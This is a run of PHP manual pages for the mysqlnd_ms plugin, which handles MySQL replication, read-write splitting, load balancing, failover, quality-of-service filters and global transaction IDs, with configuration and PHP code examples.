  • Read-write splitting
  • Filter
  • Service level and consistency
  • Global transaction IDs
  • Supported clusters

This explains the architecture and related concepts for this plugin, and describes the impact that MySQL replication and this plugin have on developmental tasks while using a database cluster. Reading and understanding these concepts is required, in order to use this plugin with success.

User Contributed Notes

There are no user contributed notes for this page.
Global transaction IDs
Architecture
mysqlnd_ms


Architecture

The mysqlnd replication and load balancing plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, in the module init phase of the PHP engine, it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods.

At PHP runtime, it inspects queries sent from mysqlnd (PHP) to the MySQL server. If a query is recognized as read-only, it will be sent to one of the configured slave servers. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/ or a slave had been chosen for running the previous query, and the query started with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server.

For better portability, applications should use the MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH, and MYSQLND_MS_LAST_USED_SWITCH predefined mysqlnd_ms constants, instead of their literal values, such as /*ms=slave*/.

The plugin handles the opening and closing of database connections to both master and slave servers. From an application point of view, there continues to be only one connection handle. However, internally, this one public connection handle represents a pool of network connections that are managed by the plugin. The plugin proxies queries to the master server, and to the slaves using multiple connections.

Database connections have a state consisting of, for example, transaction status, transaction settings, character set settings, and temporary tables. The plugin will try to maintain the same state among all internal connections, whenever this can be done in an automatic and transparent way. In cases where it is not easily possible to maintain state among all connections, such as when using BEGIN TRANSACTION, the plugin leaves it to the user to handle.

User Contributed Notes

There are no user contributed notes for this page.
Concepts
Connection pooling and switching
Concepts


Connection pooling and switching

The replication and load balancing plugin changes the semantics of a PHP MySQL connection handle. The existing API of the PHP MySQL extensions (mysqli, mysql, and PDO_MYSQL) are not changed in a way that functions are added or removed. But their behaviour changes when using the plugin. Existing applications do not need to be adapted to a new API, but they may need to be modified because of the behaviour changes.

The plugin breaks the one-by-one relationship between a mysqli, mysql, and PDO_MYSQL connection handle and a MySQL network connection. And a mysqli, mysql, and PDO_MYSQL connection handle represents a local pool of connections to the configured MySQL replication master and MySQL replication slave servers. The plugin redirects queries to the master and slave servers. At some point in time one and the same PHP connection handle may point to the MySQL master server. Later on, it may point to one of the slave servers or still the master. Manipulating and replacing the network connection referenced by a PHP MySQL connection handle is not a transparent operation.

Every MySQL connection has a state. The state of the connections in the connection pool of the plugin can differ. Whenever the plugin switches from one wire connection to another, the current state of the user connection may change. The applications must be aware of this.

The following list shows what the connection state consists of. The list may not be complete.

  • Transaction status
  • Temporary tables
  • Table locks
  • Session system variables and session user variables
  • The current database set using USE and other state chaining SQL commands
  • Prepared statements
  • HANDLER variables
  • Locks acquired with GET_LOCK()

Connection switches happen right before queries are executed. The plugin does not switch the current connection until the next statement is executed.

Note: Replication issues

See also the MySQL reference manual chapter about » replication features and related issues. Some restrictions may not be related to the PHP plugin, but are properties of the MySQL replication system.

Broadcasted messages

The plugins philosophy is to align the state of connections in the pool only if the state is under full control of the plugin, or if it is necessary for security reasons. Just a few actions that change the state of the connection fall into this category.

The following is a list of connection client library calls that change state, and are broadcasted to all open connections in the connection pool.

If any of the listed calls below are to be executed, the plugin loops over all open master and slave connections. The loop continues until all servers have been contacted, and the loop does not break if a server indicates a failure. If possible, the failure will propagate to the called user API function, which may be detected depending on which underlying library function was triggered.

Library call | Notes | Version
change_user() | Called by the mysqli_change_user() user API call. Also triggered upon reuse of a persistent mysqli connection. | Since 1.0.0.
select_db | Called by the following user API calls: mysql_select_db(), mysql_list_tables(), mysql_db_query(), mysql_list_fields(), mysqli_select_db(). Note, that SQL USE is not monitored. | Since 1.0.0.
set_charset() | Called by the following user API calls: mysql_set_charset(). mysqli_set_charset(). Note, that SQL SET NAMES is not monitored. | Since 1.0.0.
set_server_option() | Called by the following user API calls: mysqli_multi_query(), mysqli_real_query(), mysqli_query(), mysql_query(). | Since 1.0.0.
set_client_option() | Called by the following user API calls: mysqli_options(), mysqli_ssl_set(), mysqli_connect(), mysql_connect(), mysql_pconnect(). | Since 1.0.0.
set_autocommit() | Called by the following user API calls: mysqli_autocommit(), PDO::setAttribute(PDO::ATTR_AUTOCOMMIT). | Since 1.0.0. PHP >= 5.4.0.
ssl_set() | Called by the following user API calls: mysqli_ssl_set(). | Since 1.1.0.

Broadcasting and lazy connections

The plugin does not proxy or "remember" all settings to apply them on connections opened in the future. This is important to remember, if using lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Use of lazy connections is the default plugin action.

The following connection library calls each changed state, and their execution is recorded for later use when lazy connections are opened. This helps ensure that the connection state of all connections in the connection pool are comparable.

Library call | Notes | Version
change_user() | User, password and database recorded for future use. | Since 1.1.0.
select_db | Database recorded for future use. | Since 1.1.0.
set_charset() | Calls set_client_option(MYSQL_SET_CHARSET_NAME, charset) on lazy connection to ensure charset will be used upon opening the lazy connection. | Since 1.1.0.
set_autocommit() | Adds SET AUTOCOMMIT=0|1 to the list of init commands of a lazy connection using set_client_option(MYSQL_INIT_COMMAND, "SET AUTOCOMMIT=...%quot;). | Since 1.1.0. PHP >= 5.4.0.
Caution

Connection state

The connection state is not only changed by API calls. Thus, even if PECL mysqlnd_ms monitors all API calls, the application must still be aware. Ultimately, it is the applications responsibility to maintain the connection state, if needed.

User Contributed Notes

There are no user contributed notes for this page.
Architecture
Transaction handling
Concepts


Transaction handling

Transaction handling is fundamentally changed. An SQL transaction is a unit of work that is run on one database server. The unit of work consists of one or more SQL statements.

By default the plugin is not aware of SQL transactions. The plugin may switch connections for load balancing at any point in time. Connection switches may happen in the middle of a transaction. This is against the nature of an SQL transaction. By default, the plugin is not transaction safe.

At the time of writing, applications using SQL transactions together with the plugin must use SQL hints to disable connection switches in the middle of a SQL transaction. See also the examples section.

Note: Added features as of PHP 5.4.0

The mysqlnd library allows this plugin to subclass the library C API call set_autocommit(), to detect the status of autocommit mode.

Added support for trx_stickiness=master

The PHP MySQL extensions either issue a query (such as SET AUTOCOMMIT=0|1), or use the mysqlnd library call set_autcommit() to control the autocommit setting. If an extension makes use of set_autocommit(), the plugin can be made transaction aware. Transaction awareness cannot be achieved if using SQL to set the autocommit mode. The library function set_autocommit() is called by the mysqli_autocommit() and PDO::setAttribute(PDO::ATTR_AUTOCOMMIT) user API calls.

The plugin configuration option trx_stickiness=master can be used to make the plugin transactional aware. In this mode, the plugin stops load balancing if autocommit becomes disabled, and directs all statements to the master until autocommit gets enabled.

User Contributed Notes

There are no user contributed notes for this page.
Connection pooling and switching
Error handling
Concepts


Error handling

Applications using PECL/mysqlnd_ms should implement proper error handling for all user API calls. And because the plugin changes the semantics of a connection handle, API calls may return unexpected errors. If using the plugin on a connection handle that no longer represents an individual network connection, but a connection pool, an error code and error message will be set on the connection handle whenever an error occurs on any of the network connections behind.

If using lazy connections, which is the default, connections are not opened until they are needed for query execution. Therefore, an API call for a statement execution may return a connection error. In the example below, an error is provoked when trying to run a statement on a slave. Opening a slave connection fails because the plugin configuration file lists an invalid host name for the slave.

Example #1 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name",
            }
        },
        "lazy_connections": 1
    }
}

The explicit activation of lazy connections is for demonstration purpose only.

Example #2 Connection error on query execution

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, run on slave because SELECT, provoke connection error */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

The above example will output something similar to:

PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
[2002] php_network_getaddresses: getaddrinfo failed: Name or service not known

Applications are expected to handle possible connection errors by implementing proper error handling.

Depending on the use case, applications may want to handle connection errors differently from other errors. Typical connection errors are 2002 (CR_CONNECTION_ERROR) - Can't connect to local MySQL server through socket '%s' (%d), 2003 (CR_CONN_HOST_ERROR) - Can't connect to MySQL server on '%s' (%d) and 2005 (CR_UNKNOWN_HOST) - Unknown MySQL server host '%s' (%d). For example, the application may test for the error codes and manually perform a fail over. The plugins philosophy is not to offer automatic fail over, beyond master fail over, because fail over is not a transparent operation.

Example #3 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name"
            },
            "slave_1": {
                "host": "192.168.78.136"
            }
        },
        "lazy_connections": 1,
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

Explicitly activating lazy connections is done for demonstration purposes, as is round robin load balancing as opposed to the default random once type.

Example #4 Most basic failover

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, first slave */
$res = $mysqli->query("SELECT VERSION() AS _version");
/* Hackish manual fail over */
if (2002 == $mysqli->errno || 2003 == $mysqli->errno || 2004 == $mysqli->errno) {
  /* Connection 3, first slave connection failed, trying next slave */
  $res = $mysqli->query("SELECT VERSION() AS _version");
}

if (!$res) {
  printf("ERROR, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
} else {
 /* Error messages are taken from connection 3, thus no error */
 printf("SUCCESS, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
 $row = $res->fetch_assoc();
 $res->close();
 printf("version = %s\n", $row['_version']);
}
$mysqli->close();
?>

The above example will output something similar to:

[1045] Access denied for user 'username'@'localhost' (using password: YES)
PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
SUCCESS, [0] ''
version = 5.6.2-m5-log

In some cases, it may not be easily possible to retrieve all errors that occur on all network connections through a connection handle. For example, let's assume a connection handle represents a pool of three open connections. One connection to a master and two connections to the slaves. The application changes the current database using the user API call mysqli_select_db(), which then calls the mysqlnd library function to change the schemata. mysqlnd_ms monitors the function, and tries to change the current database on all connections to harmonize their state. Now, assume the master succeeds in changing the database, and both slaves fail. Upon the initial error from the first slave, the plugin will set an appropriate error on the connection handle. The same is done when the second slave fails to change the database. The error message from the first slave is lost.

Such cases can be debugged by either checking for errors of the type E_WARNING (see above) or, if no other option, investigation of the mysqlnd_ms debug and trace log.

User Contributed Notes

There are no user contributed notes for this page.
Transaction handling
Failover
Concepts


Failover

Connection failover handling is left to the user. The application is responsible for checking return values of the database functions it calls and reacting to possible errors. If, for example, the plugin recognizes a query as a read-only query to be sent to the slave servers, and the slave server selected by the plugin is not available, the plugin will raise an error after not executing the statement.

It is up to the application to handle the error and, if required, re-issue the query to trigger the selection of another slave server for statement execution. The plugin will make no attempts to failover automatically, because the plugin cannot ensure that an automatic failover will not change the state of the connection. For example, the application may have issued a query which depends on SQL user variables which are bound to a specific connection. Such a query might return incorrect results if the plugin would switch the connection implicitly as part of automatic failover. To ensure correct results, the application must take care of the failover, and rebuild the required connection state. Therefore, by default, no automatic failover is performed by the plugin.

A user that does not change the connection state after opening a connection may activate automatic master failover.

The failover policy is configured in the plugins configuration file, by using the failover configuration directive.

A basic manual failover example is provided within the error handling section.

User Contributed Notes

There are no user contributed notes for this page.
Error handling
Load balancing
Concepts


Load balancing

Four load balancing strategies are supported to distribute read-only statements over the configured MySQL slave servers:

random

Chooses a random server whenever a statement is executed.

random once (default)

Chooses a random server after the first statement is executed, and uses the decision for the rest of the PHP request.

It is the default, and the lowest impact on the connection state.

round robin

Iterates over the list of configured servers.

user-defined via callback

Is used to implement any other strategy.

The load balancing policy is configured in the plugins configuration file using the random, roundrobin, and user filters.

User Contributed Notes

There are no user contributed notes for this page.
Failover
Read-write splitting
Concepts


Read-write splitting

The plugin executes read-only statements on the configured MySQL slaves, and all other queries on the MySQL master. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/, or if a slave had been chosen for running the previous query and the query starts with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server. It is recommended to use the constants MYSQLND_MS_SLAVE_SWITCH, MYSQLND_MS_MASTER_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of /*ms=slave*/. See also the list of mysqlnd_ms constants.

SQL hints are a special kind of standard compliant SQL comments. The plugin does check every statement for certain SQL hints. The SQL hints are described within the mysqlnd_ms constants documentation, constants that are exported by the extension. Other systems involved with the statement processing, such as the MySQL server, SQL firewalls, and SQL proxies, are unaffected by the SQL hints, because those systems are designed to ignore SQL comments.

The built-in read-write splitter can be replaced by a user-defined filter, see also the user filter documentation.

A user-defined read-write splitter can request the built-in logic to send a statement to a specific location, by invoking mysqlnd_ms_is_select().

Note:

The built-in read-write splitter is not aware of multi-statements. Multi-statements are seen as one statement. The splitter will check the beginning of the statement to decide where to run the statement. If, for example, a multi-statement begins with SELECT 1 FROM DUAL; INSERT INTO test(id) VALUES (1); ... the plugin will run it on a slave although the statement is not read-only.

User Contributed Notes

There are no user contributed notes for this page.
Load balancing
Filter
Concepts


Filter

Note: Version requirement

Filters exist as of mysqlnd_ms version 1.1.0-beta.

filters. PHP applications that implement a MySQL replication cluster must first identify a group of servers in the cluster which could execute a statement before the statement is executed by one of the candidates. In other words: a defined list of servers must be filtered until only one server is available.

The process of filtering may include using one or more filters, and filters can be chained. And they are executed in the order they are defined in the plugins configuration file.

Note: Explanation: comparing filter chaining to pipes

The concept of chained filters can be compared to using pipes to connect command line utilities on an operating system command shell. For example, an input stream is passed to a processor, filtered, and then transferred to be output. Then, the output is passed as input to the next command, which is connected to the previous using the pipe operator.

Available filters:

  • Load balancing filters: random and roundrobin.
  • Selection filter: user, user_multi, quality_of_service.

The random filter implements the 'random' and 'random once' load balancing policies. The 'round robin' load balancing can be configured through the roundrobin filter. Setting a 'user defined callback' for server selection is possible with the user filter. The quality_of_service filter finds cluster nodes capable of delivering a certain service, for example, read-your-writes or, not lagging more seconds behind the master than allowed.

Filters can accept parameters to change their behaviour. The random filter accepts an optional sticky parameter. If set to true, the filter changes load balancing from random to random once. Random picks a random server every time a statement is to be executed. Random once picks a random server when the first statement is to be executed and uses the same server for the rest of the PHP request.

One of the biggest strength of the filter concept is the possibility to chain filters. This strength does not become immediately visible because tje random, roundrobin and user filters are supposed to output no more than one server. If a filter reduces the list of candidates for running a statement to only one server, it makes little sense to use that one server as input for another filter for further reduction of the list of candidates.

An example filter sequence that will fail:

  • Statement to be executed: SELECT 1 FROM DUAL. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes:slave_0, slave_1
  • Filter: random, argument sticky=1. Picks a random slave once to be used for the rest of the PHP request. Output: slave_0.
  • Output of slave_0 and the statement to be executed is passed as input to the next filter. Here: roundrobin, server list passed to filter is: slave_0.
  • Filter: roundrobin. Server list consists of one server only, round robin will always return the same server.
If trying to use such a filter sequence, the plugin may emit a warning like (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

A second type of filter exists: multi filter. A multi filter emits zero, one or multiple servers after processing. The quality_of_service filter is an example. If the service quality requested sets an upper limit for the slave lag and more than one slave is lagging behind less than the allowed number of seconds, the filter returns more than one cluster node. A multi filter must be followed by other to further reduce the list of candidates for statement execution until a candidate is found.

A filter sequence with the quality_of_service multi filter followed by a load balancing filter.

  • Statement to be executed: SELECT sum(price) FROM orders WHERE order_id = 1. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes: slave_0, slave_1, slave_2, slave_3
  • Filter: quality_of_service, rule set: session_consistency (read-your-writes) Output: master_0
  • Output of master_0 and the statement to be executed is passed as input to the next filter, which is roundrobin.
  • Filter: roundrobin. Server list consists of one server. Round robin selects master_0.

A filter sequence must not end with a multi filter. If trying to use a filter sequence which ends with a multi filter the plugin may emit a warning like (mysqlnd_ms) Error in configuration. Last filter is multi filter. Needs to be non-multi one. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

Note: Speculation towards the future: MySQL replication filtering

In future versions, there may be additional multi filters. For example, there may be a table filter to support MySQL replication filtering. This would allow you to define rules for which database or table is to be replicated to which node of a replication cluster. Assume your replication cluster consists of four slaves (slave_0, slave_1, slave_2, slave_3) two of which replicate a database named sales (slave_0, slave_1). If the application queries the database slaves, the hypothetical table filter reduces the list of possible servers to slave_0 and slave_1. Because the output and list of candidates consists of more than one server, it is necessary and possible to add additional filters to the candidate list, for example, using a load balancing filter to identify a server for statement execution.

User Contributed Notes

There are no user contributed notes for this page.
Read-write splitting
Service level and consistency
Concepts


Service level and consistency

Note: Version requirement

Service levels have been introduced in mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() requires PHP 5.4.0 or newer.

The plugin can be used with different kinds of MySQL database clusters. Different clusters can deliver different levels of service to applications. The service levels can be grouped by the data consistency levels that can be achieved. The plugin knows about:

  • eventual consistency
  • session consistency
  • strong consistency

Depending how a cluster is used it may be possible to achieve higher service levels than the default one. For example, a read from an asynchronous MySQL replication slave is eventual consistent. Thus, one may say the default consistency level of a MySQL replication cluster is eventual consistency. However, if the master only is used by a client for reading and writing during a session, session consistency (read your writes) is given. PECL mysqlnd 1.2.0 abstracts the details of choosing an appropriate node for any of the above service levels from the user.

Service levels can be set through the qualify-of-service filter in the plugins configuration file and at runtime using the function mysqlnd_ms_set_qos().

The plugin defines the different service levels as follows.

Eventual consistency is the default service provided by an asynchronous cluster, such as classical MySQL replication. A read operation executed on an arbitrary node may or may not return stale data. The applications view of the data is eventual consistent.

Session consistency is given if a client can always read its own writes. An asynchronous MySQL replication cluster can deliver session consistency if clients always use the master after the first write or never query a slave which has not yet replicated the clients write operation.

The plugins understanding of strong consistency is that all clients always see the comitted writes of all other clients. This is the default when using MySQL Cluster or any other cluster offering synchronous data distribution.

Service level parameters

Eventual consistency and session consistency service level accept parameters.

Eventual consistency is the service provided by classical MySQL replication. By default, all nodes qualify for read requests. An optional age parameter can be given to filter out nodes which lag more than a certain number of seconds behind the master. The plugin is using SHOW SLAVE STATUS to measure the lag. Please, see the MySQL reference manual to learn about accuracy and reliability of the SHOW SLAVE STATUS command.

Session consistency (read your writes) accepts an optional GTID parameter to consider reading not only from the master but also from slaves which already have replicated a certain write described by its transaction identifier. This way, when using asynchronous MySQL replication, read requests may be load balanced over slaves while still ensuring session consistency.

The latter requires the use of client-side global transaction id injection.

Advantages of the new approach

The new approach supersedes the use of SQL hints and the configuration option master_on_write in some respects. If an application running on top of an asynchonous MySQL replication cluster cannot accept stale data for certain reads, it is easier to tell the plugin to choose appropriate nodes than prefixing all read statements in question with the SQL hint to enforce the use of the master. Furthermore, the plugin may be able to use selected slaves for reading.

The master_on_write configuration option makes the plugin use the master after the first write (session consistency, read your writes). In some cases, session consistency may not be needed for the rest of the session but only for some, few read operations. Thus, master_on_write may result in more read load on the master than necessary. In those cases it is better to request a higher than default service level only for those reads that actually need it. Once the reads are done, the application can return to default service level. Switching between service levels is only possible using mysqlnd_ms_set_qos().

Performance considerations

A MySQL replication cluster cannot tell clients which slaves are capable of delivering which level of service. Thus, in some cases, clients need to query the slaves to check their status. PECL mysqlnd_ms transparently runs the necessary SQL in the background. However, this is an expensive and slow operation. SQL statements are run if eventual consistency is combined with an age (slave lag) limit and if session consistency is combined with a global transaction ID.

If eventual consistency is combined with an maximum age (slave lag), the plugin selects candidates for statement execution and load balancing for each statement as follows. If the statement is a write all masters are considered as candidates. Slaves are not checked and not considered as candidates. If the statement is a read, the plugin transparently executes SHOW SLAVE STATUS on every slaves connection. It will loop over all connections, send the statement and then start checking for results. Usually, this is slighly faster than a loop over all connections in which for every connection a query is send and the plugin waits for its results. A slave is considered a candidate if SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master is less or equal than the allowed maximum age. In case of an SQL error, the plugin emits a warning but does not set an error on the connection. The error is not set to make it possible to use the plugin as a drop-in.

If session consistency is combined with a global transaction ID, the plugin executes the SQL statement set with the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. Further details are identical to those described above.

In version 1.2.0 no additional optimizations are done for executing background queries. Future versions may contain optimizations, depending on user demand.

If no parameters and options are set, no SQL is needed. In that case, the plugin consider all nodes of the type shown below.

  • eventual consistency, no further options set: all masters, all slaves
  • session consistency, no further options set: all masters
  • strong consistency (no options allowed): all masters

User Contributed Notes

There are no user contributed notes for this page.
Filter
Global transaction IDs
Concepts


Global transaction IDs

Note: Version requirement

Client side global transaction ID injection exists as of mysqlnd_ms version 1.2.0-alpha. Transaction boundaries are detected by monitoring API calls. This is possible as of PHP 5.4.0. Please, see also Transaction handling.

PECL/mysqlnd_ms can do client-side transparent global transaction ID injection. In its most basic form, a global transaction identifier is a counter which is incremented for every transaction executed on the master. The counter is held in a table on the master. Slaves replicate the counter table.

In case of a master failure a database administrator can easily identify the most recent slave for promiting it as a new master. The most recent slave has the highest transaction identifier.

Application developers can ask the plugin for the global transaction identifier (GTID) for their last successful write operation. The plugin will return an identifier that refers to an transaction no older than that of the clients last write operation. Then, the GTID can be passed as a parameter to the quality of service (QoS) filter as an option for session consistency. Session consistency ensures read your writes. The filter ensures that all reads are either directed to a master or a slave which has replicated the write referenced by the GTID.

When injection is done

The plugin transparently maintains the GTID table on the master. In autocommit mode the plugin injects an UPDATE statement before executing the users statement for every master use. In manual transaction mode, the injection is done before the application calls commit() to close a transaction. The configuration option report_error of the GTID section in the plugins configuration file is used to control whether a failed injection shall abort the current operation or be ignored silently (default).

Please note, the PHP version requirements for transaction boundary monitoring and their limits.

Limitations

Client-side global transaction ID injection has shortcomings. The potential issues are not specific to PECL/mysqlnd_ms but are rather of general nature.

  • The GTID can have holes. Only PHP clients using the plugin will maintain the table. Other clients will not.
  • Client-side transaction boundary detection is based on API calls only.
  • Client-side transaction boundary detection does not take implicit commit into account. Some MySQL SQL statements cause an implicit commit and cannot be rolled back.

Note: Server-side global transaction ID support

The plugin is prepared to support MySQL servers which implement global transaction ID support and which maintain a global transaction ID themselves. Client-side injection would not be necessary with such servers. However, without any server supporting it yet and, in heterogenous environments with old MySQL servers, client-side injection is a valuable, although not perfect, option.

User Contributed Notes

There are no user contributed notes for this page.
Service level and consistency
Supported clusters
Concepts


Supported clusters

Any application using any kind of MySQL cluster is faced with the same tasks:

  • Identify nodes capable of executing a given statement with the required service level
  • Load balance requests within the list of candidates
  • Automatic fail over within candidates, if needed

The plugin is optimized for fulfilling these tasks in the context of a classical asynchronous MySQL replication cluster consisting of a single master and many slaves. When using classical, asynchronous MySQL replication all of the above listed tasks need to be mastered at the client level.

Other types of MySQL cluster may have lower requirements on the application side. For example, if all nodes in the cluster can answer read and write requests, no read-write splitting needs to be done. If all nodes in the cluster are synchronous, they automatically provide the higest possible quality of service which makes choosing a node easier. In those cases, the plugin may serve the application after some reconfiguration to disable certain features, such as built-in read-write splitting.

Note: Documentation focus

The documentation focusses describing the use of the plugin with classical asynchronous MySQL replication clusters. Support for this kind of cluster has been the original development goal. Use of other clusters is briefly described below. Please note, that this is still work in progress.

Using asynchronous clusters with single master

Primary use case of the plugin. Follow the hints given in the descriptions of each feature.

Note: Version requirement

The following cluster may require use of settings not available before mysqlnd_ms 1.2.0-alpha.

Using asynchronous clusters with multiple masters

This setup is currently unsupported.

The plugin has no built-in functionality to direct certain writes to certain masters. It is considered to add table filtering to future versions. Table filter would allow restricting both read and writes to certain slaves and masters based on the database/schema and table used by a statement.

A table filtering feature is prepared in the plugins source code. However, it is instable and must not be used. Bug reports on table filtering will be rejected.

Using synchronous clusters such as MySQL Cluster

MySQL Cluster is a synchronous cluster solution. All cluster nodes accept read and write requests. In the context of the plugin, all nodes shall be considered as masters.

Use the load balancing and fail over features only.

  • Disable the plugins built-in read-write splitting.
  • Configure masters only.
  • Consider random once load balancing strategy, which is the plugins default. If random once is used, only masters are configured and no SQL hints are used to force using a certain node, no connection switches will happen for the duration of a web request. Thus, no special handling is required for transactions. The plugin will pick one master at the beginning of the PHP script and use it until the script terminates.
  • Do not set the quality of service. All nodes have all the data. This automatically gives you the highest possible service quality (strong consistency).
  • Do not enable client-side global transaction injection. It is neither required to help with server-side fail over nor to assist the quality of service filter choosing an appropiate node.

Disabling built-in read-write splitting.

  • Set mysqlnd_ms.disable_rw_split=1
  • Do not use SQL hints to enforce the use of slaves

Configure masters only.

  • Set mysqlnd_ms.multi_master=1
  • Do not configure any slaves
  • Set failover=master in the plugins configuration file to avoid warnings about the empty slave list

User Contributed Notes

There are no user contributed notes for this page.
Global transaction IDs
Installing/Configuring
Concepts


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Plugin configuration file (>=1.1.x)
  • Plugin configuration file (<= 1.0.x)
  • Testing
  • Debugging and Tracing
  • Monitoring

User Contributed Notes

There are no user contributed notes for this page.
Supported clusters
Requirements
mysqlnd_ms


Requirements

PHP 5.3.6 or newer. Some advanced functionality requires PHP 5.4.0 or newer.

The mysqlnd_ms replication and load balancing plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_ms plugin for mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_ms

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_ms Configure Options
Name | Default | Changeable | Changelog
mysqlnd_ms.enable | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.force_config_usage | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.ini_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.collect_statistics | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.multi_master | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.disable_rw_split | 0 | PHP_INI_SYSTEM |

Here's a short explanation of the configuration directives.

mysqlnd_ms.enable integer

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_ms.force_config_usage integer

If enabled, the plugin checks if the host (server) parameters value of any MySQL connection attempt, matches a section name from the plugin configuration file. If not, the connection attempt is blocked.

mysqlnd_ms.ini_file string

Plugin specific configuration file.

mysqlnd_ms.collect_statistics integer

Enables or disables the collection of statistics. The collection of statistics is disabled by default for performance reasons. Statistics are returned by the function mysqlnd_ms_get_stats().

mysqlnd_ms.multi_master integer

Enables or disables support of MySQL multi master replication setups. Please, see also supported clusters.

mysqlnd_ms.disable_rw_split integer

Enables or disables built-in read write splitting.

Controls whether load balancing and lazy connection functionality can be used independently of read write splitting. If read write splitting is disabled, only servers from the master list will be used for statement execution. All configured slave servers will be ignored.

The SQL hint MYSQLND_MS_USE_SLAVE will not be recognized. If found, the statement will be redirected to a master.

Disabling read write splitting impacts the return value of mysqlnd_ms_query_is_select(). The function will no longer propose query execution on slave servers.

Note: Multiple master servers

Setting mysqlnd_ms.multi_master=1 allows the plugin to use multiple master servers, instead of only the first master server of the master list.

Please, see also supported clusters.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Plugin configuration file (>=1.1.x)
Installing/Configuring


Plugin configuration file (>=1.1.x)

Note: Changelog: Feature was added in PECL/mysqlnd_ms 1.1.0-beta

The below description applies to PECL/mysqlnd_ms >= 1.1.0-beta. It is not valid for prior versions.

The plugin uses its own configuration file. The configuration file holds information about the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy, and the use of lazy connections.

The plugin loads its configuration file at the beginning of a web request. It is then cached in memory and used for the duration of the web request. This way, there is no need to restart PHP after deploying the configuration file. Configuration file changes will become active almost instantly.

The PHP configuration directive mysqlnd_ms.ini_file is used to set the plugins configuration file. Please note, that the PHP configuration directive may not be evaluated for every web request. Therefore, changing the plugins configuration file name or location may require a PHP restart. However, no restart is required to read changes if an already existing plugin configuration file is updated.

Using and parsing JSON is efficient, and using JSON makes it easier to express hierarchical data structures than the standard php.ini format.

Example #1 Converting a PHP array (hash) into JSON format

Or alternatively, a developer may be more familiar with the PHP array syntax, and prefer it. This example demonstrates how a developer might convert a PHP array to JSON.

<?php
$config = array(
  "myapp" => array(
    "master" => array(
      "master_0" => array(
        "host"   => "localhost",
        "socket" => "/tmp/mysql.sock",
      ),
    ),
    "slave" => array(),
  ),
);

file_put_contents("mysqlnd_ms.ini", json_encode($config, JSON_PRETTY_PRINT));
printf("mysqlnd_ms.ini file created...\n");
